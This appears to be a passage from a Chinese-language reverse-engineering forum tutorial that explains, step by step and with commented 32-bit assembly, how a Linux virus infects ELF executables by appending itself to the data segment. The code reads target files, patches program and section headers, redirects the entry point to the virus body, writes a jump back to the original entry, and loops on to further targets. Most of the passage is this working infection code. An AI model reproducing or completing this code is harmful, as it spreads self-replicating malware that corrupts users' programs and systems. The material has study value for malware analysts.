reading_loop: mov eax, 3 ; sys_read mov edx, 1 ; 每次读取1字节 int 80h cmp eax, 0 ; 检查是否到达文件末尾 je reading_eof mov eax, edi add eax, 9312 ; 检查文件大小 cmp ecx, eax jge infect ; 如果文件大于7232字节,停止感染 add ecx, 1 jmp reading_loop
- 使用
sys_read
从文件中逐字节读取,直到到达文件末尾(EOF)。 - 每次读取 1 字节,可以优化为读取更大的块。
- 如果已读取字节数达到或超过 7232,跳转回
infect
函数。 - 否则,继续读取下一个字节。
处理文件末尾:
reading_eof: push ecx ; 存储最后读取字节的地址 mov eax, 6 ; 关闭文件 int 80h
- 如果到达文件末尾,先保存最后读取的字节地址,然后关闭文件。
获取 ELF 文件头信息:
xor ecx, ecx xor eax, eax mov cx, word [edi+2080+44] ; 获取程序头条目的数量 mov eax, dword [edi+2080+28] ; 获取程序头的偏移 sub ax, word [edi+2080+42] ; 初始化循环
- 重置
ecx
和eax
,准备获取 ELF 文件的头信息。 - 获取程序头的数量和偏移位置。
程序头循环:
program_header_loop: add ax, word [edi+2080+42] ; 更新偏移,指向下一个程序头 cmp ecx, 0 jbe infect ; 如果没有找到数据段,跳转到感染 sub ecx, 1 ; 减少程序头计数 mov ebx, dword [edi+2080+eax] ; 获取程序头的类型 cmp ebx, 0x01 ; 检查是否为 PT_LOAD jne program_header_loop ; 如果不是 PT_LOAD,继续查找
- 增加
ax
的值以更新程序头的偏移量,然后检查剩余的程序头数量。如果没有剩余,跳转到感染处理。 - 检查当前程序头的类型,如果不是数据段,则继续查找下一个程序头。
找到数据段:
mov ebx, dword [edi+2080+eax+4] ; 获取当前程序头的偏移 cmp ebx, 0x00 ; 检查偏移是否为0 je program_header_loop ; 如果是0,则是文本段,继续查找
- 获取当前程序头的偏移,如果偏移为0,说明是文本段,则跳转回程序头循环继续查找数据段。
保存旧的入口点并准备插入病毒:
mov ebx, dword [edi+2080+24] ; 旧的入口点 push ebx ; 保存旧的入口点 mov ebx, dword [edi+2080+eax+4] ; 获取当前程序头的偏移 mov edx, dword [edi+2080+eax+16] ; 获取当前程序头的文件大小 add ebx, edx ; 计算病毒的新位置 push ebx ; 保存病毒的新偏移
- 保存当前的入口点,并计算病毒应该插入的位置。
更新 ELF 文件头:
mov ebx, dword [edi+2080+eax+8] ; 获取虚拟地址 add ebx, edx ; 更新入口点 mov ecx, 0x001edd0e ; 插入病毒的签名 mov [edi+2080+8], ecx ; 更新 ELF 文件头中的签名 mov [edi+2080+24], ebx ; 更新入口点
- 更新 ELF 文件头的入口点和文件头信息,以便在执行时能正确跳转到病毒代码。
更新段信息:
add edx, v_stop - v_start ; 增加病毒的大小 add edx, 7 ; 为跳转到原始入口点预留空间 mov [edi+2080+eax+16], edx ; 更新程序头的文件大小 mov ebx, dword [edi+2080+eax+20] ; 获取内存段大小 add ebx, v_stop - v_start ; 更新内存段大小 add ebx, 7 ; 为跳转预留空间 mov [edi+2080+eax+20], ebx ; 更新内存段大小
- 更新程序头的文件和内存大小,以适应新病毒代码的大小。
节头循环:
xor ecx, ecx xor eax, eax mov cx, word [edi+2080+48] ; 获取节头数量 mov eax, dword [edi+2080+32] ; 获取节头偏移 sub ax, word [edi+2080+46] ; 初始化循环
- 重置计数器,获取节头的数量和偏移。
找到 .bss
节:
section_header_loop: add ax, word [edi+2080+46] ; 更新节头偏移 cmp ecx, 0 jbe finish_infection ; 如果没有节头,结束感染 sub ecx, 1 ; 减少节头计数 mov ebx, dword [edi+2080+eax+4] ; 获取节头类型 cmp ebx, 0x00000008 ; 检查是否为 NOBITS(.bss) jne section_header_loop ; 如果不是,继续查找
- 遍历节头,寻找
.bss
段。
更新 .bss
节地址:
mov ebx, dword [edi+2080+eax+12] ; 获取当前节的虚拟地址 add ebx, v_stop - v_start ; 更新虚拟地址 add ebx, 7 ; 为跳转预留空间 mov [edi+2080+eax+12], ebx ; 更新节头的地址
- 一旦找到
.bss
段,更新其虚拟地址,以便包含病毒代码。
更新节头的偏移量:
section_header_loop_2: mov edx, dword [edi+2080+eax+16] ; 获取当前节的偏移 add edx, v_stop - v_start ; 添加病毒的大小到偏移 add edx, 7 ; 为跳转到原始入口点预留空间 mov [edi+2080+eax+16], edx ; 更新节头的偏移量
- 更新节头的偏移量,将病毒代码的大小加到当前节的偏移上,并为跳转预留空间。
遍历所有节头:
add eax, 40 ; 移动到下一个节头(假设节头大小为 40 字节) sub ecx, 1 ; 减少节头计数 cmp ecx, 0 jg section_header_loop_2 ; 如果还有节头,继续循环
- 在每个循环中,更新
eax
以指向下一个节头,减少计数,继续处理下一个节头。
完成感染:
finish_infection: mov eax, v_stop - v_start ; 计算病毒的大小 add eax, 7 ; 为跳转到原始入口点预留空间 mov ebx, dword [edi+2080+32] ; 获取原始节头偏移 add eax, ebx ; 将病毒大小与节头偏移相加 mov [edi+2080+32], eax ; 更新节头偏移
- 计算病毒的大小,并将其与节头偏移相加,从而更新节头的偏移位置。
打开目标文件并写入修改:
mov eax, 5 ; sys_open mov ebx, edi ; 路径 add ebx, 1056 ; 偏移到目标文件 add ebx, esi ; 下一个文件的偏移 mov ecx, 2 ; O_RDWR int 80h mov ebx, eax ; fd mov eax, 4 ; sys_write mov ecx, edi add ecx, 2080 ; 偏移到目标文件 pop edx ; 恢复之前的主机文件到病毒偏移 int 80h
- 打开目标文件并准备写入更新的 ELF 文件内容,首先获取文件描述符,然后通过
sys_write
将修改后的内容写入。
将病毒的偏移存储在文件名缓冲区:
mov [edi+7], edx ; 将病毒的偏移放入文件名缓冲区的未使用部分
- 将病毒的偏移量存储在文件名缓冲区的一个未使用位置。
调用后续处理:
call delta_offset
计算 Delta 偏移量:
delta_offset: pop ebp ; 保存基址指针 sub ebp, delta_offset ; 计算当前病毒体的绝对地址与 delta_offset 之间的差值
ebp
被用作计算病毒体的地址偏移。delta_offset
是一个标记,表示病毒体在原始文件中的起始位置。通过从当前地址中减去这个标记,得到相对偏移量。
写入病毒部分:
mov eax, 4 lea ecx, [ebp + v_start] ; 计算病毒部分的实际地址 mov edx, v_stop - v_start ; 获取病毒体的大小 int 80h ; sys_write
- 使用
sys_write
将病毒的主体写入目标文件。这里使用lea
指令计算出病毒部分的地址并指定写入的字节数。
保存原始入口点:
pop edx ; 恢复原始入口点 mov [edi], byte 0xb8 ; MOV EAX 指令的操作码 mov [edi+1], edx ; 将原始入口点写入 mov [edi+5], word 0xe0ff ; JMP EAX 指令的操作码
- 恢复原始入口点并将其存储在文件名缓冲区中。使用
MOV
和JMP
指令将原始入口点设置为病毒运行后的入口点,确保病毒能够在感染后正常执行原始程序。
继续写入:
mov eax, 4 ; sys_write mov ecx, edi ; 指向文件名的偏移 mov edx, 7 ; 写入跳转指令的字节数 int 80h ; 执行写入
- 将跳转指令(7 字节)写入目标文件,确保在病毒执行后能够正确跳转回原始程序。
写入剩余部分:
mov eax, 4 ; sys_write mov ecx, edi add ecx, 2080 ; 偏移到目标文件 mov edx, dword [edi+7] ; 获取病毒偏移 add ecx, edx ; 继续写入病毒的下一个部分 pop edx ; 获取最后字节的偏移 sub edx, ecx ; 计算要写入的字节长度 int 80h ; 执行写入
- 继续将病毒的剩余部分写入目标文件,确保完整性。
同步文件:
mov eax, 36 ; sys_sync int 80h ; 同步文件
- 使用
sys_sync
确保所有写入操作完成并写入到磁盘。
关闭文件并感染下一个目标:
mov eax, 6 ; sys_close int 80h ; 关闭文件 jmp infect ; 回到感染循环,查找下一个目标
- 关闭文件并跳回感染循环,以处理下一个目标文件。
结束病毒体:
v_stop: mov eax, 1 ; sys_exit mov ebx, 0 ; 正常退出状态 int 80h ; 退出
- 这段代码标记了病毒体的结束。
基本流程如下图:
对于其他形式的elf段的注入可参考:
text段感染:Linux病毒技术之Silvio填充感染 - 先知社区 (aliyun.com)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)